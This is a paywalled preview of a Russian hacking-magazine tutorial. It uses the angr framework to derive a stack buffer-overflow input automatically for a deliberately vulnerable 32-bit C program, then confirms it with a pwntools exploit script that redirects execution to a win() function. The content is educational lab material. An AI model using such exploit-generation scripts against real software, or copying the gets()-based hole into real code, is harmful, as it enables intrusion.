Содержание статьи
info
Если хочешь больше узнать про Angr, советую заглянуть в мою прошлую статью — «Управление гневом. Изучаем Angr — фреймворк символической эмуляции».
Unconstrained
Давай напишем и соберем подопытный экземпляр — небольшую программу, которая заведомо будет уязвима к переполнению буфера. Флаги сборки гарантируют статичный ImageBase и отсутствие стековой канарейки, чем значительно упрощают нам жизнь.
// gcc exp2.c -m32 -fno-stack-protector -no-pie -o exp2_32#include <stdio.h>#include <string.h>#include <stdlib.h>void win(){ printf("Win!\n");}void func(int key){ char buf[32]; printf("overflow me : "); gets(buf);}int main(int argc, char* argv[]){ func(1); return 0;}
Код принимает введенную строку в локальный буфер. Наша задача — переполнить буфер таким образом, чтобы передать управление в функцию win
.
08049196 int32_t win()080491b3 e8b8feffff call puts
080491c1 char* func()080491c1 55 push ebp {__saved_ebp}080491c2 89e5 mov ebp, esp {__saved_ebp}080491c4 53 push ebx {__saved_ebx}080491c5 83ec24 sub esp, 0x24
080491e8 8d45d8 lea eax, [ebp-0x28 {buf}]080491eb 50 push eax {buf} {var_3c}080491ec e86ffeffff call gets
080491f8 c9 leave {__saved_ebp}080491f9 c3 retn {__return_addr}080491fa int32_t main(int32_t argc, char** argv, char** envp)08049218 68efbeadde push 0x1
0804921d e89fffffff call func
08049222 83c410 add esp, 0x10
Подсмотрим в отладчике актуальные адреса. На входе в функцию func(
на вершине стека лежит адрес возврата. Пролог сохраняет в стеке старый EBP, после чего вычитает 0x24 из ESP, образуя на стеке «карман» под локальные данные.
0xffffd6a0: 00 00 00 00 # buf# (...) local variables0xffffd6c4: 00 80 f9 f7 # old EBX0xffffd6c8: e8 d6 ff ff # old EBP0xffffd6cc: 22 92 04 08 # ret addr -> 0x08049222
Стек выглядит вполне привычным образом. Попробуем перезаписать адрес возврата.
import angrimport claripyproject = angr.Project('exp2_32', auto_load_libs=False)symbolic_input = claripy.BVS("input", 48 * 8)initial_state = project.factory.entry_state(stdin=symbolic_input, args=['./a.out'])initial_state.options.add('SYMBOL_FILL_UNCONSTRAINED_MEMORY')initial_state.options.add('SYMBOL_FILL_UNCONSTRAINED_REGISTERS')def is_fully_symbolic_pc(state): for i in range(state.arch.bits): if not state.solver.symbolic(state.regs.pc[i]): return False return Truesimulation = project.factory.simgr( initial_state, save_unconstrained=True, stashes={ 'active' : [initial_state], 'unconstrained' : [], 'found' : [], 'not_needed' : [] } )def is_successful(state): return simulation.unconstrainedsimulation.explore(find=is_successful)solution_state = simulation.unconstrained[0]if is_fully_symbolic_pc(solution_state): solution_state.add_constraints(solution_state.regs.eip == 0x8049196) solution = solution_state.solver.eval(symbolic_input,cast_to=bytes) print('input:', solution)
Скрипт подбирает входные данные для передачи управления на адрес 0x8049196. Как это работает? Просто запускаем симуляцию и ждем заполнения ящика unconstrained
. В него помещаются состояния, из которых есть больше 256 возможных адресов перехода. Чаще всего это значит, что регистр EIP частично или полностью зависит от контролируемых нами символических переменных. На всякий случай проверяем, что каждый бит регистра EIP символический. Далее ставим ограничение, при котором регистр равен нужному нам значению. И запускаем конкретизацию решений.
input: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x96\x91\x04\x08'
Проверим, что все работает. Для удобства используем pwntools:
from pwn import *p = process('./exp2_32')buff = b'\x00' * 44 + b'\x96\x91\x04\x08'p.sendline(buff)print(p.recv())
И получаем долгожданный результат.
$ python test_exp2.py
[+] Starting local process './exp2_32': pid 9178b'overflow me : Win!\n'
[*] Stopped process './exp2_32' (pid 9178)Пишем анализатор VEX
Переполнения часто встречаются в таких функциях, как strcpy
. Если они импортируются из внешних библиотек, найти и проверить их применение вручную не составляет большого труда. Однако оптимизирующие компиляторы часто заменяют их инлайновой версией.
Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее